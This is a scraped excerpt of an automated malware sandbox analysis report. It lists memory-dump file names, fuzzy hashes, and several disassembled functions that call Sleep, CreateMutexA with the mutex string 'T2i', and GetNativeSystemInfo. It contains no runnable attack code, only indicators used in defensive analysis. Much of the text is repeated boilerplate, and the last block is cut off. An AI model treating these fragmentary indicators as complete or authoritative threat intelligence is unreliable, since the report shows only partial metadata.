Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: f5c78fbe3f510afaae1cc5f88cd78fe0a9f2f5d0b4d013ef382e1dfe83ca075a
Instruction ID: 012a42410a62f81a3b143c94c9bab79bb7667da475047beafcf5db75d4fd7e52
Opcode Fuzzy Hash: f5c78fbe3f510afaae1cc5f88cd78fe0a9f2f5d0b4d013ef382e1dfe83ca075a
Instruction Fuzzy Hash: 97311C31A141008BEB08DBBCDC85BAEB763DFC5324F244618E094EB3D5C7359981A796

Function 0063A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: 27d7c6ac8175e320fc779e82ffbd2dcc2bd8c783c32b4030778f98c7e18b1c70
Instruction ID: 502c85ba09c1b93d6f6a6b2d1f33492fefa3e792d33cf7291920d714d5757b81
Opcode Fuzzy Hash: 27d7c6ac8175e320fc779e82ffbd2dcc2bd8c783c32b4030778f98c7e18b1c70
Instruction Fuzzy Hash: 90312C31A141009BEB08DBBCDDC97AEB777DF82314F244658E094E73D5C735998097A6

Function 00639ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: 0945a3c7e12c1a67f586283bd6956070201185be348d69b95e563b3ce5761a05
Instruction ID: c78b44a880bd04e151b552de9ef7e1f54a9d3304794134ffe9c781d13d449bd1
Opcode Fuzzy Hash: 0945a3c7e12c1a67f586283bd6956070201185be348d69b95e563b3ce5761a05
Instruction Fuzzy Hash: 82213731A142009BEB189BACECC5BAEF767EBC1314F204219E448D77D5C77599809BA2

Function 0063A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: 826ff35aa855c76c0eaf3e5606d30daf879c6b7b4ca71a8a5fa7238a76da3a38
Instruction ID: d826b96d7993e5f3d1f3c699bf6ab488e2c1a26ccc072e43823fbc550a1ea36f
Opcode Fuzzy Hash: 826ff35aa855c76c0eaf3e5606d30daf879c6b7b4ca71a8a5fa7238a76da3a38
Instruction Fuzzy Hash: EA213D716591049BFB3467E89C8ABBEB253DF81300F24091AE0C8D73D1CA754941A2D7

Function 0063A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0063A963
CreateMutexA.KERNEL32(00000000,00000000,00693254), ref: 0063A981

Strings

T2i, xrefs: 0063A970

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748733113.0000000000925000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748757149.0000000000926000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748782034.0000000000927000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748809576.000000000092A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748835077.000000000092C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748858189.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2i
API String ID: 1464230837-1307235059
Opcode ID: d1073c7d2fe675adfce5d6ac9056b744bafa1a88dd6d56da42c8ee14fab972bd
Instruction ID: 2554f987b1e36b3074bf0b6a2eb49aed12226b896655a978c64afd2adaad015b
Opcode Fuzzy Hash: d1073c7d2fe675adfce5d6ac9056b744bafa1a88dd6d56da42c8ee14fab972bd
Instruction Fuzzy Hash: D82179317142009BFB089BACDC857AEB767DFC1310F20421DE488E77D4C7369A8093A2

Function 00637D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00637ED3

Memory Dump Source

Source File: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1746731209.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746747883.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746855019.0000000000699000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746881167.000000000069B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746953525.00000000006A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747016408.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747047578.00000000006A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747275538.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747356000.00000000007F8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.000000000080C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747421474.0000000000819000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747501377.000000000082D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747522921.0000000000833000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747584236.0000000000848000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747604723.0000000000849000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747658691.000000000084A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747683856.000000000084B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747724378.000000000084C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747782276.000000000085E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747866634.0000000000873000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747891520.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747915803.0000000000880000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747947021.0000000000884000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747977029.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748138818.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748296551.000000000089C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748322787.000000000089E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748354469.00000000008A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748379640.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748416085.00000000008AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748447231.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748470673.00000000008B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748503301.00000000008B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748533978.00000000008C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748559395.00000000008C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748586958.00000000008D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748613263.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748677749.0000000000910000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748708661.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
